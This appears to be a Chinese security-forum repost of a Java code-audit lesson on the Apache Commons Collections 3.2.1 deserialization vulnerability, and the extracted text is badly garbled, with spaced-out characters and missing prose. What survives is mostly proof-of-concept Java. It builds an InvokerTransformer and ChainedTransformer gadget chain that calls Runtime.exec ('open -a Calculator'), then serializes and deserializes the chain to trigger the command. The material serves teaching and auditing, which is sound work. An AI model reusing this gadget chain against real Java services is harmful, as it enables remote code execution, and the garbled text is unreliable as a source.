[26723] 2021-05-08_Java代码审计系列第二课实际案例讲解ApacheCommonsCollections反序列化漏洞

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2021-05-08_Java代码审计系列第二课实际案例讲解ApacheCommonsCollections反序列化漏洞 J a v a   A p a c h e   C o m m o n s   C o l l e c t i o n s   m o o n s e c   2 0 2 1 - 0 5 - 0 8 J a v a J D K J a v a 使 广 J D K 2 0 1 5 1 1 6 F o x G l o v e   S e c u r i t y J a v a J a v a   W e b   S e r v e r W e b L o g i c W e b S p h e r e J B o s s J e n k i n s O p e n N M S   J a v a   > = 3 . 2 . 1 m a v e n A p a c h e   C o m m o n s   C o l l e c t i o n s A p a c h e   C o m m o n s J a v a   A P I C o m m o n s - C o l l e c t i o n s A p a c h e   C o m m o n s @ b r e e n m a c h i n e A p a c h e   C o m m o n s   C o l l e c t i o n s A p a c h e   C o m m o n s   C o l l e c t i o n s < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / c o m m o n s - c o l l e c t i o n s / c o m m o n s - c o l l e c t i o n s   - - > < d e p e n d e n c y >         < g r o u p I d > c o m m o n s - c o l l e c t i o n s < / g r o u p I d >         < a r t i f a c t I d > c o m m o n s - c o l l e c t i o n s < / a r t i f a c t I d >         < v e r s i o n > 3 . 2 . 1 < / v e r s i o n > < / d e p e n d e n c y >
j a v a 5 4 / o r g / a p a c h e / c o m m o n s / c o l l e c t i o n s / f u n c t o r s / I n v o k e r T r a n s f o r m e r . c l a s s   C l a s s   c l a s s 1   =   C l a s s . f o r N a m e ( r e q . g e t P a r a m e t e r ( " c l a s s N a m e " ) ) ;   c l a s s 1 . g e t M e t h o d ( r e q . g e t P a r a m e t e r ( " m e t h o d N a m e " ) ) . i n v o k e ( c l a s s 1 . n e w I n s t a n c e ( ) ) ; I n v o k e r T r a n s f o r m e r . c l a s s t r a n s f o r m
J a v a J a v a J a v a P H P , J a v a n e w - > - >   t r a n s f o r m i n p u t   C l a s s   c l s   =   i n p u t . g e t C l a s s ( ) ;   M e t h o d   m e t h o d   =   c l s . g e t M e t h o d ( t h i s . i M e t h o d N a m e ,   t h i s . i P a r a m T y p e s ) ;   r e t u r n   m e t h o d . i n v o k e ( i n p u t ,   t h i s . i A r g s ) ; s y s t e m s h e l l _ e x e c j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) t r a n s f o r m
, , , P a y l o a d / o r g / a p a c h e / c o m m o n s / c o l l e c t i o n s / f u n c t o r s / C h a i n e d T r a n s f o r m e r . c l a s s p u b l i c   c l a s s   C h a i n e d T r a n s f o r m e r   i m p l e m e n t s   T r a n s f o r m e r ,   S e r i a l i z a b l e   {         p r i v a t e   s t a t i c   f i n a l   l o n g   s e r i a l V e r s i o n U I D   =   3 5 1 4 9 4 5 0 7 4 7 3 3 1 6 0 1 9 6 L ;         p r i v a t e   f i n a l   T r a n s f o r m e r [ ]   i T r a n s f o r m e r s ;       / /   . . . .           p u b l i c   O b j e c t   t r a n s f o r m ( O b j e c t   o b j e c t )   {                 f o r ( i n t   i   =   0 ;   i   <   t h i s . i T r a n s f o r m e r s . l e n g t h ;   + + i )   {                         o b j e c t   =   t h i s . i T r a n s f o r m e r s [ i ] . t r a n s f o r m ( o b j e c t ) ;                 }                 r e t u r n   o b j e c t ;         } } t r a n s f o r m T r a n s f o r m e r t r a n s f o r m T r a n s f o r m e r t r a n s f o r m o b j e c t o b j e c t
I n v o k e r T r a n s f o r m e r p a c k a g e   c o m . e v a l s h e l l . m a i n ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C h a i n e d T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r ; p u b l i c   c l a s s   H e l l o C o n t r o l l e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   n e w   T r a n s f o r m e r [ ] {                                 n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " ,   n e w   C l a s s [ ] { S t r i n g . c l a s s } ,   n e w   O b j e c t [ ] { " o p e n   - a   C a l c u l a t o r " } ) } ;                 T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s ) ;                 t r a n s f o r m e r C h a i n . t r a n s f o r m ( R u n t i m e . g e t R u n t i m e ( ) ) ;           } } R u n t i m e . g e t R u n t i m e ( ) I n v o k e r T r a n s f o r m e r t r a n s f o r m
,   c l s , S t r i n g ,   穿 S t r i n g , t r a n s f o r m R u n t i m e . g e t R u n t i m e ( ) c l s . g e t M e t h o d ( t h i s . i M e t h o d N a m e ,   t h i s . i P a r a m T y p e s ) ; g e t M e t h o d g e t M e t h o d g e t M e t h o d ( S t r i n g ,   C l a s s . . . ) n e w   C l a s s [ ]   { S t r i n g . c l a s s ,   C l a s s [ ] . c l a s s } g e t M e t h o d n e w   O b j e c t [ ]   { " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ] } t h i s . i M e t h o d N a m e e x e c " o p e n   - a   C a l c u l a t o r " R u n t i m e t r a n s f o r m s I n v o k e r T r a n s f o r m e r R u n t i m e . g e t R u n t i m e ( )
c h a i n P o c R C E 1 .   2 .   , T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   n e w   T r a n s f o r m e r [ ]   {                         / / R u n t i m e                         n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) ,                         / / g e t M e t h o d g e t M e t h o d g e t R u n t i m e R u n t i m e . g e t R u n t i m e ( )                         n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " ,                                         n e w   C l a s s [ ]   { S t r i n g . c l a s s ,   C l a s s [ ] . c l a s s   } ,                                         n e w   O b j e c t [ ]   { " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ]   } ) ,                         / / i n v o k e R u n t i m e . g e t R u n t i m e ( ) R u n t i m e                         n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " ,                                         n e w   C l a s s [ ]   { O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s   } ,                                         n e w   O b j e c t [ ]   { n u l l ,   n e w   O b j e c t [ 0 ]   } ) ,                         / / e x e c                         n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " ,                                         n e w   C l a s s [ ]   { S t r i n g . c l a s s   } ,                                         n e w   O b j e c t [ ]   { " o p e n   - a   C a l c u l a t o r " } )         } ; T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s ) ; ( ( R u n t i m e )   R u n t i m e . c l a s s . g e t M e t h o d ( " g e t R u n t i m e " ) . i n v o k e ( ) ) . e x e c ( " o p e n   - a   C a l c u l a t o r " ) o b j . t r a n s f o r m ( " " ) ; r e a d O b j e c t r e a d O b j e c t p o c C h a i n T r a n s f o r m e d M a p / o r g / a p a c h e / c o m m o n s / c o l l e c t i o n s / f u n c t o r s / C o n s t a n t T r a n s f o r m e r . c l a s s
, t r a n s f o r m , , , ,   d e m o / o r g / a p a c h e / c o m m o n s / c o l l e c t i o n s / f u n c t o r s / C o n s t a n t T r a n s f o r m e r . c l a s s C o n s t a n t T r a n s f o r m e r p a c k a g e   c o m . e v a l s h e l l . m a i n ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C o n s t a n t T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r ; i m p o r t   j a v a . i o . * ; p u b l i c   c l a s s   H e l l o C o n t r o l l e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   {                                 n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) ,                                 n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " ,   n e w   C l a s s [ ] {   S t r i n g . c l a s s ,   C l a s s [ ] . c l a s s } ,   n e w   O b j e c t [ ] { " g e t R u n t i m e "                                 n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " ,   n e w   C l a s s [ ] {   O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s } ,   n e w   O b j e c t [ ] {   n u l l   , n e w   O b j e c t [                                 n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " ,                                                 n e w   C l a s s [ ]   { S t r i n g . c l a s s   } ,                                                 n e w   O b j e c t [ ]   { " o p e n   - a   C a l c u l a t o r " } )                 } ;                 T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   P o c T r a n s f o r m e r ( t r a n s f o r m e r s ) ;                           / /                 t r y {
                t r y {                         F i l e   f     =   n e w   F i l e ( " f _ u _ c _ k _ o b j e c t " ) ;                         O b j e c t O u t p u t S t r e a m   o u t p u t S t r e a m   =   n e w   O b j e c t O u t p u t S t r e a m ( n e w   F i l e O u t p u t S t r e a m ( f ) ) ;                         o u t p u t S t r e a m . w r i t e O b j e c t ( t r a n s f o r m e r C h a i n ) ;                         o u t p u t S t r e a m . f l u s h ( ) ;                         o u t p u t S t r e a m . c l o s e ( ) ;                 } c a t c h   ( I O E x c e p t i o n   e x c e p t i o n ) {                         e x c e p t i o n . p r i n t S t a c k T r a c e ( ) ;                 }         / /                 t r y   {                         F i l e   f   =   n e w   F i l e ( " f _ u _ c _ k _ o b j e c t " ) ;                         O b j e c t I n p u t S t r e a m   o b j e c t I n p u t S t r e a m   =   n e w   O b j e c t I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( f ) ) ;                         T r a n s f o r m e r   f _ u _ c _ k _ o b j e c t   =   ( T r a n s f o r m e r )   o b j e c t I n p u t S t r e a m . r e a d O b j e c t ( ) ;                         f _ u _ c _ k _ o b j e c t . t r a n s f o r m ( " f e n g u x a n " ) ;   / /                         S y s t e m . o u t . p r i n t l n ( f _ u _ c _ k _ o b j e c t . g e t C l a s s ( ) ) ;                 } c a t c h   ( F i l e N o t F o u n d E x c e p t i o n   e x c e p t i o n ) {                         e x c e p t i o n . p r i n t S t a c k T r a c e ( ) ;                 } c a t c h   ( C l a s s N o t F o u n d E x c e p t i o n   e x c e p t i o n ) {                         e x c e p t i o n . p r i n t S t a c k T r a c e ( ) ;                 } c a t c h   ( I O E x c e p t i o n   e x c e p t i o n ) {                         e x c e p t i o n . p r i n t S t a c k T r a c e ( ) ;                 }         } } c l a s s   P o c T r a n s f o r m e r   i m p l e m e n t s   T r a n s f o r m e r ,   S e r i a l i z a b l e {         p r i v a t e   f i n a l   T r a n s f o r m e r [ ]   i T r a n s f o r m e r s ;         P o c T r a n s f o r m e r ( T r a n s f o r m e r [ ]   i T r a n s f o r m e r s )   {                 t h i s . i T r a n s f o r m e r s   =   i T r a n s f o r m e r s ;         }         @ O v e r r i d e         p u b l i c   O b j e c t   t r a n s f o r m ( O b j e c t   o b j e c t )   {                 f o r ( i n t   i   =   0 ;   i   <   t h i s . i T r a n s f o r m e r s . l e n g t h ;   + + i )   {                         S y s t e m . o u t . p r i n t l n ( o b j e c t . g e t C l a s s ( ) ) ;                         o b j e c t   =   t h i s . i T r a n s f o r m e r s [ i ] . t r a n s f o r m ( o b j e c t ) ;                 }
h t t p s : / / x z . a l i y u n . c o m / t / 4 5 5 8 # t o c - 0   h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 8 2 9 3 4   h t t p s : / / p 0 s e c . n e t / i n d e x . p h p / a r c h i v e s / 1 2 1 / h t t p s : / / s e c u r i t y . t e n c e n t . c o m / i n d e x . p h p / b l o g / m s g / 9 7                 }                 r e t u r n   o b j e c t ;         } }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则